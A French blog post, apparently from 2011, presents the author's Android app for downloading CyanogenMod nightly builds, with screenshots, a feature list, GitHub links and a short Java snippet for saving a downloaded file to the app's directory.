<p>Suite au passage de mon Galaxy S sur Cyanogen, j&#8217;ai remarqué qu&#8217;il fallait avoir une licence premium sur le Rom manager pour choper les <a href="http://download.cyanogenmod.com/">nightly</a> automatiquement &#8230; radin comme je suis, je ne pouvais pas payer juste pour une fonctionnalité aisément programmable par mes soins ^^ Gripsou Powaaa!!</p>
<p><img src="http://blog.gaetan-grigis.eu/wp-content/uploads/2011/05/cyanogenDownloader-1.png" alt="" title="cyanogenDownloader-1" width="325" height="487" class="aligncenter size-full wp-image-1085" /><br />
<span id="more-1084"></span></p>
<p>Histoire d&#8217;en apprendre un peu plus sur la programmation d&#8217;applications android, j&#8217;ai décidé de mettre le &laquo;&nbsp;paquet&nbsp;&raquo; (c&#8217;est relatif bien sûr) sur les fonctionnalités et cette application comporte donc les possibilités suivantes :</p>
<ul>
<li>Menu contextuel</li>
<li>Edition de preference</li>
<li>Notification &laquo;&nbsp;En cours&nbsp;&raquo;</li>
<li>Notification &laquo;&nbsp;Normale&nbsp;&raquo;</li>
<li>Thread</li>
</ul>
<p>L&#8217;édition des préférences<br />
<a href="http://blog.gaetan-grigis.eu/wp-content/uploads/2011/05/cyanogenDownloader-2.png"><img src="http://blog.gaetan-grigis.eu/wp-content/uploads/2011/05/cyanogenDownloader-2.png" alt="" title="cyanogenDownloader-2" width="327" height="490" class="aligncenter size-full wp-image-1086" /></a></p>
<p>Le choix du type de mise à jour (ici pour un Galaxy S)<br />
<a href="http://blog.gaetan-grigis.eu/wp-content/uploads/2011/05/CyanogenDownloader-3.png"><img src="http://blog.gaetan-grigis.eu/wp-content/uploads/2011/05/CyanogenDownloader-3.png" alt="" title="CyanogenDownloader-3" width="300" height="240" class="aligncenter size-full wp-image-1087" /></a></p>
<p>La superbe notification (j&#8217;en suis fière &#8230; il m&#8217;a fallut 2 threads pour le faire ^^)<br />
<a href="http://blog.gaetan-grigis.eu/wp-content/uploads/2011/05/CyanogenDownloader-4.png"><img src="http://blog.gaetan-grigis.eu/wp-content/uploads/2011/05/CyanogenDownloader-4.png" alt="" title="CyanogenDownloader-4" width="313" height="167" class="aligncenter size-full wp-image-1088" /></a></p>
<p>Le système de notification de mise à jour est en &laquo;&nbsp;étude&nbsp;&raquo;, les options existent pour le lancer, mais il ne fait rien <img src='http://blog.gaetan-grigis.eu/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> .</p>
<p>Le code source du soft est dispo sur <a href="https://github.com/cipher16/AndroidCyanogenModDownloader/">GitHub</a> et l&#8217;application peut être téléchargée <a href="https://github.com/cipher16/AndroidCyanogenModDownloader/raw/master/bin/CyanogenModDownloader.apk">ici</a> (faire enregistrer sous en le nommant en .apk).</p>
<p>Histoire de poster un peu de code, il est possible de télécharger rapidement des fichiers sur android via le code suivant : </p>
<div class="geshi no java">
<ol>
<li class="li1">
<div class="de1"><span class="kw3">File</span> fo = <span class="kw2">new</span> <span class="kw3">File</span><span class="br0">&#40;</span>getFilesDir<span class="br0">&#40;</span><span class="br0">&#41;</span>,urlD.<span class="me1">substring</span><span class="br0">&#40;</span>urlD.<span class="me1">lastIndexOf</span><span class="br0">&#40;</span><span class="st0">&quot;/&quot;</span><span class="br0">&#41;</span><span class="nu0">+1</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span></div>
</li>
<li class="li1">
<div class="de1">HttpEntity he = <span class="kw2">new</span> DefaultHttpClient<span class="br0">&#40;</span><span class="br0">&#41;</span>.<span class="me1">execute</span><span class="br0">&#40;</span><span class="kw2">new</span> HttpGet<span class="br0">&#40;</span>urlD<span class="br0">&#41;</span><span class="br0">&#41;</span>.<span class="me1">getEntity</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">;</span></div>
</li>
<li class="li1">
<div class="de1">he.<span class="me1">writeTo</span><span class="br0">&#40;</span><span class="kw2">new</span> <span class="kw3">FileOutputStream</span><span class="br0">&#40;</span>fo<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span></div>
</li>
</ol>
</div>
<p>En utilisant le getFilesDir, on utilise le répertoire de l&#8217;application, rendant possible la suppression des données téléchargées depuis le panel de gestion des applications android :<br />
<a href="http://blog.gaetan-grigis.eu/wp-content/uploads/2011/05/CyanogenDownloader-5.png"><img src="http://blog.gaetan-grigis.eu/wp-content/uploads/2011/05/CyanogenDownloader-5.png" alt="" title="CyanogenDownloader-5" width="325" height="295" class="aligncenter size-full wp-image-1091" /></a></p>
<p>Voilà &#8230; j’essaierais de poursuivre le développement de cette application histoire de toucher un panel assez grand de fonctionnalités de bases pour une application android.</p>

                            <div id="aspdf">
                                <a href="http://blog.gaetan-grigis.eu/wp-content/plugins/as-pdf/generate.php?post=1084">
                                    <span>Télécharger l'article au format PDF</span>
                                </a>
                            </div>
                        <hr /><h2>Articles similaires : </h2><ul><li><a href="http://blog.gaetan-grigis.eu/android/compiler-cyanogen-android-froyo-sur-ubuntu/" rel="bookmark" title="Permanent Link: Compiler Cyanogen (android froyo) sur Ubuntu">Compiler Cyanogen (android froyo) sur Ubuntu</a></li><li><a href="http://blog.gaetan-grigis.eu/programmation/java/application-android-pour-les-horaires-de-trambus-grenoblois-tagsemitag/" rel="bookmark" title="Permanent Link: Application android pour les horaires de tram/bus grenoblois (Tag/SemiTag)">Application android pour les horaires de tram/bus grenoblois (Tag/SemiTag)</a></li><li><a href="http://blog.gaetan-grigis.eu/android/android-application-de-controle-a-distancebackupinfo/" rel="bookmark" title="Permanent Link: [Android] application de contrôle à distance/backup/info">[Android] application de contrôle à distance/backup/info</a></li><li><a href="http://blog.gaetan-grigis.eu/android/compiler-android-sur-ubuntu-9-10/" rel="bookmark" title="Permanent Link: Compiler android sur ubuntu 9.10">Compiler android sur ubuntu 9.10</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/installer-un-donuts-sur-son-g1-cyanogenmod/" rel="bookmark" title="Permanent Link: Installer un donuts sur son G1 (CyanogenMod)">Installer un donuts sur son G1 (CyanogenMod)</a></li></ul><hr /><small>Copyright &copy; 2008-2011 - Gaetan Grigis - <a href="http://blog.gaetan-grigis.eu">blog.gaetan-grigis.eu</a> </small>]]></content:encoded>
			<wfw:commentRss>http://blog.gaetan-grigis.eu/android/application-android-pour-le-telechargement-des-versions-de-cyanogen/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

